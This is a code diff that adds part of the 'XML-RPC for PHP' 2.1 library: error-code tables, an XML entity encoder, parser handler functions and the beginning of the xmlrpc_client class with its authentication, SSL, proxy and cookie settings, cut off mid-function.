+	$GLOBALS['xmlrpcstr']['no_ssl']='No SSL support compiled in.';
+	$GLOBALS['xmlrpcerr']['curl_fail']=8;
+	$GLOBALS['xmlrpcstr']['curl_fail']='CURL error';
+	$GLOBALS['xmlrpcerr']['invalid_request']=15;
+	$GLOBALS['xmlrpcstr']['invalid_request']='Invalid request payload';
+	$GLOBALS['xmlrpcerr']['no_curl']=16;
+	$GLOBALS['xmlrpcstr']['no_curl']='No CURL support compiled in.';
+	$GLOBALS['xmlrpcerr']['server_error']=17;
+	$GLOBALS['xmlrpcstr']['server_error']='Internal server error';
+	$GLOBALS['xmlrpcerr']['multicall_error']=18;
+	$GLOBALS['xmlrpcstr']['multicall_error']='Received from server invalid multicall response';
+
+	$GLOBALS['xmlrpcerr']['multicall_notstruct'] = 9;
+	$GLOBALS['xmlrpcstr']['multicall_notstruct'] = 'system.multicall expected struct';
+	$GLOBALS['xmlrpcerr']['multicall_nomethod']  = 10;
+	$GLOBALS['xmlrpcstr']['multicall_nomethod']  = 'missing methodName';
+	$GLOBALS['xmlrpcerr']['multicall_notstring'] = 11;
+	$GLOBALS['xmlrpcstr']['multicall_notstring'] = 'methodName is not a string';
+	$GLOBALS['xmlrpcerr']['multicall_recursion'] = 12;
+	$GLOBALS['xmlrpcstr']['multicall_recursion'] = 'recursive system.multicall forbidden';
+	$GLOBALS['xmlrpcerr']['multicall_noparams']  = 13;
+	$GLOBALS['xmlrpcstr']['multicall_noparams']  = 'missing params';
+	$GLOBALS['xmlrpcerr']['multicall_notarray']  = 14;
+	$GLOBALS['xmlrpcstr']['multicall_notarray']  = 'params is not an array';
+
+	$GLOBALS['xmlrpcerr']['cannot_decompress']=103;
+	$GLOBALS['xmlrpcstr']['cannot_decompress']='Received from server compressed HTTP and cannot decompress';
+	$GLOBALS['xmlrpcerr']['decompress_fail']=104;
+	$GLOBALS['xmlrpcstr']['decompress_fail']='Received from server invalid compressed HTTP';
+	$GLOBALS['xmlrpcerr']['dechunk_fail']=105;
+	$GLOBALS['xmlrpcstr']['dechunk_fail']='Received from server invalid chunked HTTP';
+	$GLOBALS['xmlrpcerr']['server_cannot_decompress']=106;
+	$GLOBALS['xmlrpcstr']['server_cannot_decompress']='Received from client compressed HTTP request and cannot decompress';
+	$GLOBALS['xmlrpcerr']['server_decompress_fail']=107;
+	$GLOBALS['xmlrpcstr']['server_decompress_fail']='Received from client invalid compressed HTTP request';
+
+	// The charset encoding used by the server for received messages and
+	// by the client for received responses when received charset cannot be determined
+	// or is not supported
+	$GLOBALS['xmlrpc_defencoding']='UTF-8';
+
+	// The encoding used internally by PHP.
+	// String values received as xml will be converted to this, and php strings will be converted to xml
+	// as if having been coded with this
+	$GLOBALS['xmlrpc_internalencoding']='ISO-8859-1';
+
+	$GLOBALS['xmlrpcName']='XML-RPC for PHP';
+	$GLOBALS['xmlrpcVersion']='2.1';
+
+	// let user errors start at 800
+	$GLOBALS['xmlrpcerruser']=800;
+	// let XML parse errors start at 100
+	$GLOBALS['xmlrpcerrxml']=100;
+
+	// formulate backslashes for escaping regexp
+	// Not in use anymore since 2.0. Shall we remove it?
+	/// @deprecated
+	$GLOBALS['xmlrpc_backslash']=chr(92).chr(92);
+
+	// used to store state during parsing
+	// quick explanation of components:
+	//   ac - used to accumulate values
+	//   isf - used to indicate a parsing fault (2) or xmlrpcresp fault (1)
+	//   isf_reason - used for storing xmlrpcresp fault string
+	//   lv - used to indicate "looking for a value": implements
+	//        the logic to allow values with no types to be strings
+	//   params - used to store parameters in method calls
+	//   method - used to store method name
+	//   stack - array with genealogy of xml elements names:
+	//           used to validate nesting of xmlrpc elements
+	$GLOBALS['_xh']=null;
+
+	/**
+	* Convert a string to the correct XML representation in a target charset
+	* To help correct communication of non-ascii chars inside strings, regardless
+	* of the charset used when sending requests, parsing them, sending responses
+	* and parsing responses, an option is to convert all non-ascii chars present in the message
+	* into their equivalent 'charset entity'. Charset entities enumerated this way
+	* are independent of the charset encoding used to transmit them, and all XML
+	* parsers are bound to understand them.
+	* Note that in the std case we are not sending a charset encoding mime type
+	* along with http headers, so we are bound by RFC 3023 to emit strict us-ascii.
+	*
+	* @todo do a bit of basic benchmarking (strtr vs. str_replace)
+	* @todo	make usage of iconv() or recode_string() or mb_string() where available
+	*/
+	function xmlrpc_encode_entitites($data, $src_encoding='', $dest_encoding='')
+	{
+		if ($src_encoding == '')
+		{
+			// lame, but we know no better...
+			$src_encoding = $GLOBALS['xmlrpc_internalencoding'];
+		}
+
+		switch(strtoupper($src_encoding.'_'.$dest_encoding))
+		{
+			case 'ISO-8859-1_':
+			case 'ISO-8859-1_US-ASCII':
+				$escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&apos;', '&lt;', '&gt;'), $data);
+				$escaped_data = str_replace($GLOBALS['xml_iso88591_Entities']['in'], $GLOBALS['xml_iso88591_Entities']['out'], $escaped_data);
+				break;
+			case 'ISO-8859-1_UTF-8':
+				$escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&apos;', '&lt;', '&gt;'), $data);
+				$escaped_data = utf8_encode($escaped_data);
+				break;
+			case 'ISO-8859-1_ISO-8859-1':
+			case 'US-ASCII_US-ASCII':
+			case 'US-ASCII_UTF-8':
+			case 'US-ASCII_':
+			case 'US-ASCII_ISO-8859-1':
+			case 'UTF-8_UTF-8':
+				$escaped_data = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&apos;', '&lt;', '&gt;'), $data);
+				break;
+			case 'UTF-8_':
+			case 'UTF-8_US-ASCII':
+			case 'UTF-8_ISO-8859-1':
+	// NB: this will choke on invalid UTF-8, going most likely beyond EOF
+	$escaped_data = '';
+	// be kind to users creating string xmlrpcvals out of different php types
+	$data = (string) $data;
+	$ns = strlen ($data);
+	for ($nn = 0; $nn < $ns; $nn++)
+	{
+		$ch = $data[$nn];
+		$ii = ord($ch);
+		//1 7 0bbbbbbb (127)
+		if ($ii < 128)
+		{
+			/// @todo shall we replace this with a (supposedly) faster str_replace?
+			switch($ii){
+				case 34:
+					$escaped_data .= '&quot;';
+					break;
+				case 38:
+					$escaped_data .= '&amp;';
+					break;
+				case 39:
+					$escaped_data .= '&apos;';
+					break;
+				case 60:
+					$escaped_data .= '&lt;';
+					break;
+				case 62:
+					$escaped_data .= '&gt;';
+					break;
+				default:
+					$escaped_data .= $ch;
+			} // switch
+		}
+		//2 11 110bbbbb 10bbbbbb (2047)
+		else if ($ii>>5 == 6)
+		{
+			$b1 = ($ii & 31);
+			$ii = ord($data[$nn+1]);
+			$b2 = ($ii & 63);
+			$ii = ($b1 * 64) + $b2;
+			$ent = sprintf ('&#%d;', $ii);
+			$escaped_data .= $ent;
+		}
+		//3 16 1110bbbb 10bbbbbb 10bbbbbb
+		else if ($ii>>4 == 14)
+		{
+			$b1 = ($ii & 31);
+			$ii = ord($data[$nn+1]);
+			$b2 = ($ii & 63);
+			$ii = ord($data[$nn+2]);
+			$b3 = ($ii & 63);
+			$ii = ((($b1 * 64) + $b2) * 64) + $b3;
+			$ent = sprintf ('&#%d;', $ii);
+			$escaped_data .= $ent;
+		}
+		//4 21 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
+		else if ($ii>>3 == 30)
+		{
+			$b1 = ($ii & 31);
+			$ii = ord($data[$nn+1]);
+			$b2 = ($ii & 63);
+			$ii = ord($data[$nn+2]);
+			$b3 = ($ii & 63);
+			$ii = ord($data[$nn+3]);
+			$b4 = ($ii & 63);
+			$ii = ((((($b1 * 64) + $b2) * 64) + $b3) * 64) + $b4;
+			$ent = sprintf ('&#%d;', $ii);
+			$escaped_data .= $ent;
+		}
+	}
+				break;
+			default:
+				$escaped_data = '';
+				error_log("Converting from $src_encoding to $dest_encoding: not supported...");
+		}
+		return $escaped_data;
+	}
+
+	/// xml parser handler function for opening element tags
+	function xmlrpc_se($parser, $name, $attrs, $accept_single_vals=false)
+	{
+		// if invalid xmlrpc already detected, skip all processing
+		if ($GLOBALS['_xh']['isf'] < 2)
+		{
+			// check for correct element nesting
+			// top level element can only be of 2 types
+			/// @todo optimization creep: save this check into a bool variable, instead of using count() every time:
+			///       there is only a single top level element in xml anyway
+			if (count($GLOBALS['_xh']['stack']) == 0)
+			{
+				if ($name != 'METHODRESPONSE' && $name != 'METHODCALL' && (
+					$name != 'VALUE' && !$accept_single_vals))
+				{
+					$GLOBALS['_xh']['isf'] = 2;
+					$GLOBALS['_xh']['isf_reason'] = 'missing top level xmlrpc element';
+					return;
+				}
+				else
+				{
+					$GLOBALS['_xh']['rt'] = strtolower($name);
+				}
+			}
+			else
+			{
+				// not top level element: see if parent is OK
+				$parent = end($GLOBALS['_xh']['stack']);
+				if (!array_key_exists($name, $GLOBALS['xmlrpc_valid_parents']) || !in_array($parent, $GLOBALS['xmlrpc_valid_parents'][$name]))
+				{
+					$GLOBALS['_xh']['isf'] = 2;
+					$GLOBALS['_xh']['isf_reason'] = "xmlrpc element $name cannot be child of $parent";
+					return;
+				}
+			}
+
+			switch($name)
+			{
+				// optimize for speed switch cases: most common cases first
+				case 'VALUE':
+					/// @todo we could check for 2 VALUE elements inside a MEMBER or PARAM element
+					$GLOBALS['_xh']['vt']='value'; // indicator: no value found yet
+					$GLOBALS['_xh']['ac']='';
+					$GLOBALS['_xh']['lv']=1;
+					$GLOBALS['_xh']['php_class']=null;
+					break;
+				case 'I4':
+				case 'INT':
+				case 'STRING':
+				case 'BOOLEAN':
+				case 'DOUBLE':
+				case 'DATETIME.ISO8601':
+				case 'BASE64':
+					if ($GLOBALS['_xh']['vt']!='value')
+					{
+						//two data elements inside a value: an error occurred!
+						$GLOBALS['_xh']['isf'] = 2;
+						$GLOBALS['_xh']['isf_reason'] = "$name element following a {$GLOBALS['_xh']['vt']} element inside a single value";
+						return;
+					}
+					$GLOBALS['_xh']['ac']=''; // reset the accumulator
+					break;
+				case 'STRUCT':
+				case 'ARRAY':
+					if ($GLOBALS['_xh']['vt']!='value')
+					{
+						//two data elements inside a value: an error occurred!
+						$GLOBALS['_xh']['isf'] = 2;
+						$GLOBALS['_xh']['isf_reason'] = "$name element following a {$GLOBALS['_xh']['vt']} element inside a single value";
+						return;
+					}
+					// create an empty array to hold child values, and push it onto appropriate stack
+					$cur_val = array();
+					$cur_val['values'] = array();
+					$cur_val['type'] = $name;
+					// check for out-of-band information to rebuild php objs
+					// and in case it is found, save it
+					if (@isset($attrs['PHP_CLASS']))
+					{
+						$cur_val['php_class'] = $attrs['PHP_CLASS'];
+					}
+					$GLOBALS['_xh']['valuestack'][] = $cur_val;
+					$GLOBALS['_xh']['vt']='data'; // be prepared for a data element next
+					break;
+				case 'DATA':
+					if ($GLOBALS['_xh']['vt']!='data')
+					{
+						//two data elements inside a value: an error occurred!
+						$GLOBALS['_xh']['isf'] = 2;
+						$GLOBALS['_xh']['isf_reason'] = "found two data elements inside an array element";
+						return;
+					}
+				case 'METHODCALL':
+				case 'METHODRESPONSE':
+				case 'PARAMS':
+					// valid elements that add little to processing
+					break;
+				case 'METHODNAME':
+				case 'NAME':
+					/// @todo we could check for 2 NAME elements inside a MEMBER element
+					$GLOBALS['_xh']['ac']='';
+					break;
+				case 'FAULT':
+					$GLOBALS['_xh']['isf']=1;
+					break;
+				case 'MEMBER':
+					$GLOBALS['_xh']['valuestack'][count($GLOBALS['_xh']['valuestack'])-1]['name']=''; // set member name to null, in case we do not find in the xml later on
+					//$GLOBALS['_xh']['ac']='';
+					// Drop trough intentionally
+				case 'PARAM':
+					// clear value type, so we can check later if no value has been passed for this param/member
+					$GLOBALS['_xh']['vt']=null;
+					break;
+				case 'NIL':
+					// we do not support the <NIL/> extension yet, so
+					// drop through intentionally
+				default:
+					/// INVALID ELEMENT: RAISE ISF so that it is later recognized!!!
+					$GLOBALS['_xh']['isf'] = 2;
+					$GLOBALS['_xh']['isf_reason'] = "found not-xmlrpc xml element $name";
+					break;
+			}
+
+			// Save current element name to stack, to validate nesting
+			$GLOBALS['_xh']['stack'][] = $name;
+
+			/// @todo optimization creep: move this inside the big switch() above
+			if($name!='VALUE')
+			{
+				$GLOBALS['_xh']['lv']=0;
+			}
+		}
+	}
+
+	/// Used in decoding xml chunks that might represent single xmlrpc values
+	function xmlrpc_se_any($parser, $name, $attrs)
+	{
+		xmlrpc_se($parser, $name, $attrs, true);
+	}
+
+	/// xml parser handler function for close element tags
+	function xmlrpc_ee($parser, $name, $rebuild_xmlrpcvals = true)
+	{
+		if ($GLOBALS['_xh']['isf'] < 2)
+		{
+			// push this element name from stack
+			// NB: if XML validates, correct opening/closing is guaranteed and
+			// we do not have to check for $name == $curr_elem.
+			// we also checked for proper nesting at start of elements...
+			$curr_elem = array_pop($GLOBALS['_xh']['stack']);
+
+			switch($name)
+			{
+				case 'VALUE':
+					// This if() detects if no scalar was inside <VALUE></VALUE>
+					if ($GLOBALS['_xh']['vt']=='value')
+					{
+						$GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac'];
+						$GLOBALS['_xh']['vt']=$GLOBALS['xmlrpcString'];
+					}
+
+					if ($rebuild_xmlrpcvals)
+					{
+						// build the xmlrpc val out of the data received, and substitute it
+						$temp =& new xmlrpcval($GLOBALS['_xh']['value'], $GLOBALS['_xh']['vt']);
+						// in case we got info about underlying php class, save it
+						// in the object we're rebuilding
+						if (isset($GLOBALS['_xh']['php_class']))
+							$temp->_php_class = $GLOBALS['_xh']['php_class'];
+						// check if we are inside an array or struct:
+						// if value just built is inside an array, let's move it into array on the stack
+						$vscount = count($GLOBALS['_xh']['valuestack']);
+						if ($vscount && $GLOBALS['_xh']['valuestack'][$vscount-1]['type']=='ARRAY')
+						{
+							$GLOBALS['_xh']['valuestack'][$vscount-1]['values'][] = $temp;
+						}
+						else
+						{
+							$GLOBALS['_xh']['value'] = $temp;
+						}
+					}
+					else
+					{
+						/// @todo this needs to treat correctly php-serialized objects,
+						/// since std deserializing is done by php_xmlrpc_decode,
+						/// which we will not be calling...
+						if (isset($GLOBALS['_xh']['php_class']))
+						{
+						}
+
+						// check if we are inside an array or struct:
+						// if value just built is inside an array, let's move it into array on the stack
+						$vscount = count($GLOBALS['_xh']['valuestack']);
+						if ($vscount && $GLOBALS['_xh']['valuestack'][$vscount-1]['type']=='ARRAY')
+						{
+							$GLOBALS['_xh']['valuestack'][$vscount-1]['values'][] = $GLOBALS['_xh']['value'];
+						}
+					}
+					break;
+				case 'BOOLEAN':
+				case 'I4':
+				case 'INT':
+				case 'STRING':
+				case 'DOUBLE':
+				case 'DATETIME.ISO8601':
+				case 'BASE64':
+					$GLOBALS['_xh']['vt']=strtolower($name);
+        			/// @todo: optimization creep - remove the if/elseif cycle below
+                    /// since the case() in which we are already did that
+					if ($name=='STRING')
+					{
+						$GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac'];
+					}
+					elseif ($name=='DATETIME.ISO8601')
+					{
+						if (!preg_match('/^[0-9]{8}T[0-9]{2}:[0-9]{2}:[0-9]{2}$/', $GLOBALS['_xh']['ac']))
+						{
+							error_log('XML-RPC: invalid value received in DATETIME: '.$GLOBALS['_xh']['ac']);
+						}
+						$GLOBALS['_xh']['vt']=$GLOBALS['xmlrpcDateTime'];
+						$GLOBALS['_xh']['value']=$GLOBALS['_xh']['ac'];
+					}
+					elseif ($name=='BASE64')
+					{
+						/// @todo check for failure of base64 decoding / catch warnings
+						$GLOBALS['_xh']['value']=base64_decode($GLOBALS['_xh']['ac']);
+					}
+					elseif ($name=='BOOLEAN')
+					{
+						// special case here: we translate boolean 1 or 0 into PHP
+						// constants true or false.
+						// Strings 'true' and 'false' are accepted, even though the
+						// spec never mentions them (see eg. Blogger api docs)
+						// NB: this simple checks helps a lot sanitizing input, ie no
+						// security problems around here
+						if ($GLOBALS['_xh']['ac']=='1' || strcasecmp($GLOBALS['_xh']['ac'], 'true') == 0)
+						{
+							$GLOBALS['_xh']['value']=true;
+						}
+						else
+						{
+							// log if receiveing something strange, even though we set the value to false anyway
+							if ($GLOBALS['_xh']['ac']!='0' && strcasecmp($_xh[$parser]['ac'], 'false') != 0)
+								error_log('XML-RPC: invalid value received in BOOLEAN: '.$GLOBALS['_xh']['ac']);
+							$GLOBALS['_xh']['value']=false;
+						}
+					}
+					elseif ($name=='DOUBLE')
+					{
+						// we have a DOUBLE
+						// we must check that only 0123456789-.<space> are characters here
+						if (!preg_match('/^[+-]?[eE0123456789 \t.]+$/', $GLOBALS['_xh']['ac']))
+						{
+							/// @todo: find a better way of throwing an error
+							// than this!
+							error_log('XML-RPC: non numeric value received in DOUBLE: '.$GLOBALS['_xh']['ac']);
+							$GLOBALS['_xh']['value']='ERROR_NON_NUMERIC_FOUND';
+						}
+						else
+						{
+							// it's ok, add it on
+							$GLOBALS['_xh']['value']=(double)$GLOBALS['_xh']['ac'];
+						}
+					}
+					else
+					{
+						// we have an I4/INT
+						// we must check that only 0123456789-<space> are characters here
+						if (!preg_match('/^[+-]?[0123456789 \t]+$/', $GLOBALS['_xh']['ac']))
+						{
+							/// @todo find a better way of throwing an error
+							// than this!
+							error_log('XML-RPC: non numeric value received in INT: '.$GLOBALS['_xh']['ac']);
+							$GLOBALS['_xh']['value']='ERROR_NON_NUMERIC_FOUND';
+						}
+						else
+						{
+							// it's ok, add it on
+							$GLOBALS['_xh']['value']=(int)$GLOBALS['_xh']['ac'];
+						}
+					}
+					//$GLOBALS['_xh']['ac']=''; // is this necessary?
+					$GLOBALS['_xh']['lv']=3; // indicate we've found a value
+					break;
+				case 'NAME':
+					$GLOBALS['_xh']['valuestack'][count($GLOBALS['_xh']['valuestack'])-1]['name'] = $GLOBALS['_xh']['ac'];
+					break;
+				case 'MEMBER':
+					//$GLOBALS['_xh']['ac']=''; // is this necessary?
+					// add to array in the stack the last element built,
+					// unless no VALUE was found
+					if ($GLOBALS['_xh']['vt'])
+					{
+						$vscount = count($GLOBALS['_xh']['valuestack']);
+						$GLOBALS['_xh']['valuestack'][$vscount-1]['values'][$GLOBALS['_xh']['valuestack'][$vscount-1]['name']] = $GLOBALS['_xh']['value'];
+					} else
+						error_log('XML-RPC: missing VALUE inside STRUCT in received xml');
+					break;
+				case 'DATA':
+					//$GLOBALS['_xh']['ac']=''; // is this necessary?
+					$GLOBALS['_xh']['vt']=null; // reset this to check for 2 data elements in a row - even if they're empty
+					break;
+				case 'STRUCT':
+				case 'ARRAY':
+					// fetch out of stack array of values, and promote it to current value
+					$curr_val = array_pop($GLOBALS['_xh']['valuestack']);
+					$GLOBALS['_xh']['value'] = $curr_val['values'];
+					$GLOBALS['_xh']['vt']=strtolower($name);
+					if (isset($curr_val['php_class']))
+					{
+						$GLOBALS['_xh']['php_class'] = $curr_val['php_class'];
+					}
+					break;
+				case 'PARAM':
+					// add to array of params the current value,
+					// unless no VALUE was found
+					if ($GLOBALS['_xh']['vt'])
+					{
+						$GLOBALS['_xh']['params'][]=$GLOBALS['_xh']['value'];
+						$GLOBALS['_xh']['pt'][]=$GLOBALS['_xh']['vt'];
+					}
+					else
+						error_log('XML-RPC: missing VALUE inside PARAM in received xml');
+					break;
+				case 'METHODNAME':
+					$GLOBALS['_xh']['method']=preg_replace('/^[\n\r\t ]+/', '', $GLOBALS['_xh']['ac']);
+					break;
+				case 'PARAMS':
+				case 'FAULT':
+				case 'METHODCALL':
+				case 'METHORESPONSE':
+					break;
+				default:
+					// End of INVALID ELEMENT!
+					// shall we add an assert here for unreachable code???
+					break;
+			}
+		}
+	}
+
+	/// Used in decoding xmlrpc requests/responses without rebuilding xmlrpc values
+	function xmlrpc_ee_fast($parser, $name)
+	{
+		xmlrpc_ee($parser, $name, false);
+	}
+
+	/// xml parser handler function for character data
+	function xmlrpc_cd($parser, $data)
+	{
+		// skip processing if xml fault already detected
+		if ($GLOBALS['_xh']['isf'] < 2)
+		{
+			// "lookforvalue==3" means that we've found an entire value
+			// and should discard any further character data
+			if($GLOBALS['_xh']['lv']!=3)
+			{
+				// G. Giunta 2006-08-23: useless change of 'lv' from 1 to 2
+				//if($GLOBALS['_xh']['lv']==1)
+				//{
+					// if we've found text and we're just in a <value> then
+					// say we've found a value
+					//$GLOBALS['_xh']['lv']=2;
+				//}
+				// we always initialize the accumulator before starting parsing, anyway...
+				//if(!@isset($GLOBALS['_xh']['ac']))
+				//{
+				//	$GLOBALS['_xh']['ac'] = '';
+				//}
+				$GLOBALS['_xh']['ac'].=$data;
+			}
+		}
+	}
+
+	/// xml parser handler function for 'other stuff', ie. not char data or
+	/// element start/end tag. In fact it only gets called on unknown entities...
+	function xmlrpc_dh($parser, $data)
+	{
+		// skip processing if xml fault already detected
+		if ($GLOBALS['_xh']['isf'] < 2)
+		{
+			if(substr($data, 0, 1) == '&' && substr($data, -1, 1) == ';')
+			{
+				// G. Giunta 2006-08-25: useless change of 'lv' from 1 to 2
+				//if($GLOBALS['_xh']['lv']==1)
+				//{
+				//	$GLOBALS['_xh']['lv']=2;
+				//}
+				$GLOBALS['_xh']['ac'].=$data;
+			}
+		}
+		return true;
+	}
+
+	class xmlrpc_client
+	{
+		var $path;
+		var $server;
+		var $port=0;
+		var $method='http';
+		var $errno;
+		var $errstr;
+		var $debug=0;
+		var $username='';
+		var $password='';
+		var $authtype=1;
+		var $cert='';
+		var $certpass='';
+		var $cacert='';
+		var $cacertdir='';
+		var $key='';
+		var $keypass='';
+		var $verifypeer=true;
+		var $verifyhost=1;
+		var $no_multicall=false;
+		var $proxy='';
+		var $proxyport=0;
+		var $proxy_user='';
+		var $proxy_pass='';
+		var $proxy_authtype=1;
+		var $cookies=array();
+		/**
+		* List of http compression methods accepted by the client for responses.
+		* NB: PHP supports deflate, gzip compressions out of the box if compiled w. zlib
+		*
+		* NNB: you can set it to any non-empty array for HTTP11 and HTTPS, since
+		* in those cases it will be up to CURL to decide the compression methods
+		* it supports. You might check for the presence of 'zlib' in the output of
+		* curl_version() to determine wheter compression is supported or not
+		*/
+		var $accepted_compression = array();
+		/**
+		* Name of compression scheme to be used for sending requests.
+		* Either null, gzip or deflate
+		*/
+		var $request_compression = '';
+		/**
+		* CURL handle: used for keep-alive connections (PHP 4.3.8 up, see:
+		* http://curl.haxx.se/docs/faq.html#7.3)
+		*/
+		var $xmlrpc_curl_handle = null;
+		/// Wheter to use persistent connections for http 1.1 and https
+		var $keepalive = false;
+		/// Charset encodings that can be decoded without problems by the client
+		var $accepted_charset_encodings = array();
+		/// Charset encoding to be used in serializing request. NULL = use ASCII
+		var $request_charset_encoding = '';
+		/**
+		* Decides the content of xmlrpcresp objects returned by calls to send()
+		* valid strings are 'xmlrpcvals', 'phpvals' or 'xml'
+		*/
+		var $return_type = 'xmlrpcvals';
+
+		/**
+		* @param string $path either the complete server URL or the PATH part of the xmlrc server URL, e.g. /xmlrpc/server.php
+		* @param string $server the server name / ip address
+		* @param integer $port the port the server is listening on, defaults to 80 or 443 depending on protocol used
+		* @param string $method the http protocol variant: defaults to 'http', 'https' and 'http11' can be used if CURL is installed
+		*/
+		function xmlrpc_client($path, $server='', $port='', $method='')
+		{
+			// allow user to specify all params in $path
+			if($server == '' and $port == '' and $method == '')
+			{
+				$parts = parse_url($path);
+				$server = $parts['host'];
+				$path = $parts['path'];
+				if(isset($parts['query']))
+				{
+					$path .= '?'.$parts['query'];
+				}
+				if(isset($parts['fragment']))
+				{
+					$path .= '#'.$parts['fragment'];
+				}
+				if(isset($parts['port']))
+				{
+					$port = $parts['port'];
+				}
+				if(isset($parts['scheme']))
+				{
+					$method = $parts['scheme'];
+				}
+				if(isset($parts['user']))
+				{
+					$this->username = $parts['user'];
+				}
+				if(isset($parts['pass']))
+				{
+					$this->password = $parts['pass'];
+				}
+			}
+			if($path == '' || $path[0] != '/')
+			{
+				$this->path='/'.$path;
+			}
+			else
+			{
+				$this->path=$path;
+			}
+			$this->server=$server;
+			if($port != '')
+			{
+				$this->port=$port;
+			}
+			if($method != '')
+			{
+				$this->method=$method;
+			}
+
+			// if ZLIB is enabled, let the client by default accept compressed responses
+			if(function_exists('gzinflate') || (
+				function_exists('curl_init') && (($info = curl_version()) &&
+				((is_string($info) && strpos($info, 'zlib') !== null) || isset($info['libz_version'])))
+			))
+			{
+				$this->accepted_compression = array('gzip', 'deflate');
+			}
+
+			// keepalives: enabled by default ONLY for PHP >= 4.3.8
+			// (see http://curl.haxx.se/docs/faq.html#7.3)
+			if(version_compare(phpversion(), '4.3.8') >= 0)
+			{
+				$this->keepalive = true;
+			}
+
+			// by default the xml parser can support these 3 charset encodings
+			$this->accepted_charset_encodings = array('UTF-8', 'ISO-8859-1', 'US-ASCII');
+		}
+
+		/**
+		* Enables/disables the echoing to screen of the xmlrpc responses received
+		* @param integer $debug values 0, 1 and 2 are supported (2 = echo sent msg too, before received response)
+		* @access public
+		*/
+		function setDebug($in)
+		{
+			$this->debug=$in;
+		}
+
+		/**
+		* Add some http BASIC AUTH credentials, used by the client to authenticate
+		* @param string $u username
+		* @param string $p password
+		* @param integer $t auth type. See curl_setopt man page for supported auth types. Defaults to CURLAUTH_BASIC (basic auth)
+		* @access public
+		*/
+		function setCredentials($u, $p, $t=1)
+		{
+			$this->username=$u;
+			$this->password=$p;
+			$this->authtype=$t;
+		}
+
+		/**
+		* Add a client-side https certificate
+		* @param string $cert
+		* @param string $certpass
+		* @access public
+		*/
+		function setCertificate($cert, $certpass)
+		{
+			$this->cert = $cert;
+			$this->certpass = $certpass;
+		}
+
+		/**
+		* Add a CA certificate to verify server with (see man page about
+		* CURLOPT_CAINFO for more details
+		* @param string $cacert certificate file name (or dir holding certificates)
+		* @param bool $is_dir set to true to indicate cacert is a dir. defaults to false
+		* @access public
+		*/
+		function setCaCertificate($cacert, $is_dir=false)
+		{
+			if ($is_dir)
+			{
+				$this->cacert = $cacert;
+			}
+			else
+			{
+				$this->cacertdir = $cacert;
+			}
+		}
+
+		/**
+		* Set attributes for SSL communication: private SSL key
+		* @param string $key The name of a file containing a private SSL key
+		* @param string $keypass The secret password needed to use the private SSL key
+		* @access public
+		* NB: does not work in older php/curl installs
+		* Thanks to Daniel Convissor
+		*/
+		function setKey($key, $keypass)
+		{
+			$this->key = $key;
+			$this->keypass = $keypass;
+		}
+
+		/**
+		* Set attributes for SSL communication: verify server certificate
+		* @param bool $i enable/disable verification of peer certificate
+		* @access public
+		*/
+		function setSSLVerifyPeer($i)
+		{
+			$this->verifypeer = $i;
+		}
+
+		/**
+		* Set attributes for SSL communication: verify match of server cert w. hostname
+		* @param int $i
+		* @access public
+		*/
+		function setSSLVerifyHost($i)
+		{
+			$this->verifyhost = $i;
+		}
+
+		/**
+		* Set proxy info
+		* @param string $proxyhost
+		* @param string $proxyport Defaults to 8080 for HTTP and 443 for HTTPS
+		* @param string $proxyusername Leave blank if proxy has public access
+		* @param string $proxypassword Leave blank if proxy has public access
+		* @param int $proxyauthtype set to constant CURLAUTH_MTLM to use NTLM auth with proxy
+		* @access public
+		*/
+		function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 1)
+		{
+			$this->proxy = $proxyhost;
+			$this->proxyport = $proxyport;
+			$this->proxy_user = $proxyusername;
+			$this->proxy_pass = $proxypassword;
+			$this->proxy_autthtype = $proxyauthtype;
+		}
+
+		/**
+		* Enables/disables reception of compressed xmlrpc responses.
+		* Note that enabling reception of compressed responses merely adds some standard
+		* http headers to xmlrpc requests. It is up to the xmlrpc server to return
+		* compressed responses when receiving such requests.
+		* @param string $compmethod either 'gzip', 'deflate', 'any' or ''
+		* @access public
+		*/
+		function setAcceptedCompression($compmethod)
+		{
+			if ($compmethod == 'any')
+				$this->accepted_compression = array('gzip', 'deflate');
+			else
+				$this->accepted_compression = array($compmethod);
+		}
+
+		/**
+		* Enables/disables http compression of xmlrpc request.
+		* Take care when sending compressed requests: servers might not support them
+		* (and automatic fallback to uncompressed requests is not yet implemented)
+		* @param string $compmethod either 'gzip', 'deflate' or ''
+		* @access public
+		*/
+		function setRequestCompression($compmethod)
+		{
+			$this->request_compression = $compmethod;
+		}
+
+		/**
+		* Adds a cookie to list of cookies that will be sent to server.
+		* NB: setting any param but name and value will turn the cookie into a 'version 1' cookie:
+		* do not do it unless you know what you are doing
+		* @param string $name
+		* @param string $value
+		* @param string $path
+		* @param string $domain
+		* @param int $port
+		* @access public
+		*
+		* @todo check correctness of urlencoding cookie value (copied from php way of doing it...)
+		*/
+		function setCookie($name, $value='', $path='', $domain='', $port=null)
+		{
+			$this->cookies[$name]['value'] = urlencode($value);
+			if ($path || $domain || $port)
+			{
+				$this->cookies[$name]['path'] = $path;
+				$this->cookies[$name]['domain'] = $domain;
+				$this->cookies[$name]['port'] = $port;
+				$this->cookies[$name]['version'] = 1;
+			}
+			else
+			{
+				$this->cookies[$name]['version'] = 0;
+			}
+		}
+
+		/**
+		* Send an xmlrpc request
+		* @param mixed $msg The message object, or an array of messages for using multicall, or the complete xml representation of a request
+		* @param integer $timeout Connection timeout, in seconds, If unspecified, a platform specific timeout will apply
+		* @param string $method if left unspecified, the http protocol chosen during creation of the object will be used
+		* @return xmlrpcresp
+		* @access public
+		*/
+		function& send($msg, $timeout=0, $method='')
+		{
+			// if user deos not specify http protocol, use native method of this client
+			// (i.e. method set during call to constructor)
+			if($method == '')
+			{
+				$method = $this->method;
+			}
+
+			if(is_array($msg))
+			{
+				// $msg is an array of xmlrpcmsg's
+				$r = $this->multicall($msg, $timeout, $method);
+				return $r;
+			}
+			elseif(is_string($msg))
+			{
+				$n =& new xmlrpcmsg('');
+				$n->payload = $msg;
+				$msg = $n;
+			}
+
+			// where msg is an xmlrpcmsg
+			$msg->debug=$this->debug;
+
+			if($method == 'https')
+			{
+				$r =& $this->sendPayloadHTTPS(
+					$msg,
+					$this->server,
+					$this->port,
+					$timeout,
